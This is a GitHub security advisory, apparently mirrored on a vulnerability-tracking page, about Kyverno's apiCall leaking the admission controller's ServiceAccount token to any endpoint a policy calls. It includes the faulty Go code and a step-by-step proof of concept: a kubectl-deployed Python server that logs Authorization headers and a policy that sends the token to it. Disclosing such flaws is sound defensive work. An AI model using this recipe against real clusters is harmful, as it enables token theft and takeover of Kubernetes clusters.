GHSA-8WFP-579W-6R25

Vulnerability from github – Published: 2026-04-16 21:37 – Updated: 2026-04-16 21:37
VLAI
Summary
Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)
Details

Summary

Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.

The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.


Details

Kyverno's apiCall executor (pkg/engine/apicall/executor.go) reads the ServiceAccount token from:

/var/run/secrets/kubernetes.io/serviceaccount/token

and injects it into every HTTP request as:

Authorization: Bearer <token>

This occurs when no explicit Authorization header is defined in the policy.

Root cause

if req.Header.Get("Authorization") == "" {
    token := a.getToken()
    if token != "" {
        req.Header.Add("Authorization", "Bearer "+token)
    }
}

This logic introduces several issues:

  • Implicit credential forwarding to arbitrary endpoints
  • No trust boundary validation (external/internal distinction)
  • Undocumented behavior
  • Header.Add instead of Set allows duplication
  • No token sanitization (potential trailing newline)

PoC

Preconditions

  • Kyverno installed (v1.17.1 tested)
  • A policy using apiCall.service.url

Step 1 — Deploy capture server

kubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
 def do_GET(self):
  print(self.headers.get('Authorization'), flush=True)
  self.send_response(200)
  self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888

Step 2 — Create policy

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: token-leak
spec:
  rules:
  - name: test
    match:
      any:
      - resources:
          kinds: ["Pod"]
    context:
    - name: r
      apiCall:
        method: GET
        service:
          url: "http://capture.default.svc:8888"
        jmesPath: "@"

Step 3 — Trigger

kubectl run test --image=nginx

Step 4 — Observe token

kubectl logs capture

Output:

Authorization: Bearer <SA_TOKEN>

Impact

Vulnerability class

  • Credential exposure / leakage

Impact details

  • Exposure of Kubernetes ServiceAccount token
  • Token grants:
  • Full control over Kyverno policies
  • Ability to create/delete webhooks
  • Read cluster-wide resources
  • Privilege escalation and persistence
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:37:29Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nKyverno\u0027s apiCall service mode automatically attaches the admission controller\u0027s ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.\n\nThe behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.\n\n---\n\n### Details\n\nKyverno\u0027s apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from:\n\n`/var/run/secrets/kubernetes.io/serviceaccount/token`\n\nand injects it into every HTTP request as:\n\n```\nAuthorization: Bearer \u003ctoken\u003e\n```\n\nThis occurs when no explicit `Authorization` header is defined in the policy.\n\n#### Root cause\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n    token := a.getToken()\n    if token != \"\" {\n        req.Header.Add(\"Authorization\", \"Bearer \"+token)\n    }\n}\n```\n\nThis logic introduces several issues:\n\n- **Implicit credential forwarding** to arbitrary endpoints\n- **No trust boundary validation** (external/internal distinction)\n- **Undocumented behavior**\n- **Header.Add instead of Set** allows duplication\n- **No token sanitization** (potential trailing newline)\n\n---\n\n### PoC\n\n#### Preconditions\n\n- Kyverno installed (v1.17.1 tested)\n- A policy using `apiCall.service.url`\n\n---\n\n#### Step 1 \u2014 Deploy capture server\n\n```bash\nkubectl run capture --image=python:3-slim --restart=Never -- \\\npython3 -c \"\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n  print(self.headers.get(\u0027Authorization\u0027), flush=True)\n  self.send_response(200)\n  self.end_headers()\nhttp.server.HTTPServer((\u00270.0.0.0\u0027,8888),H).serve_forever()\"\nkubectl expose pod capture --port=8888\n```\n\n---\n\n#### Step 2 \u2014 Create policy\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: token-leak\nspec:\n  rules:\n  - name: test\n    match:\n      any:\n      - resources:\n          kinds: [\"Pod\"]\n    context:\n    - name: r\n      apiCall:\n        method: GET\n        service:\n          url: \"http://capture.default.svc:8888\"\n        jmesPath: \"@\"\n```\n\n---\n\n#### Step 3 \u2014 Trigger\n\n```bash\nkubectl run test --image=nginx\n```\n\n---\n\n#### Step 4 \u2014 Observe token\n\n```bash\nkubectl logs capture\n```\n\nOutput:\n\n```\nAuthorization: Bearer \u003cSA_TOKEN\u003e\n```\n\n---\n\n### Impact\n\n#### Vulnerability class\n- Credential exposure / leakage\n\n#### Impact details\n\n- Exposure of Kubernetes ServiceAccount token\n- Token grants:\n  - Full control over Kyverno policies\n  - Ability to create/delete webhooks\n  - Read cluster-wide resources\n  - Privilege escalation and persistence",
  "id": "GHSA-8wfp-579w-6r25",
  "modified": "2026-04-16T21:37:29Z",
  "published": "2026-04-16T21:37:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-8wfp-579w-6r25"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.